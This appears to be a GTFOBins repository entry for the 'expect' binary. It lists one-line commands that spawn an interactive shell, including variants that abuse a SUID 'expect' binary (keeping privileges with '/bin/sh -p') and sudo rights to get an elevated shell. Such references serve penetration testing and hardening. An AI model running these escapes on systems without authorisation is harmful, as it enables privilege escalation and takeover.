GTFOBins.github.io/_gtfobins/expect.md
2018-07-16 15:01:50 +02:00

225 B

functions
execute-interactive suid-enabled sudo-enabled
code
expect -c 'spawn /bin/sh;interact'
code
./expect -c 'spawn /bin/sh -p;interact'
code
sudo expect -c 'spawn /bin/sh;interact'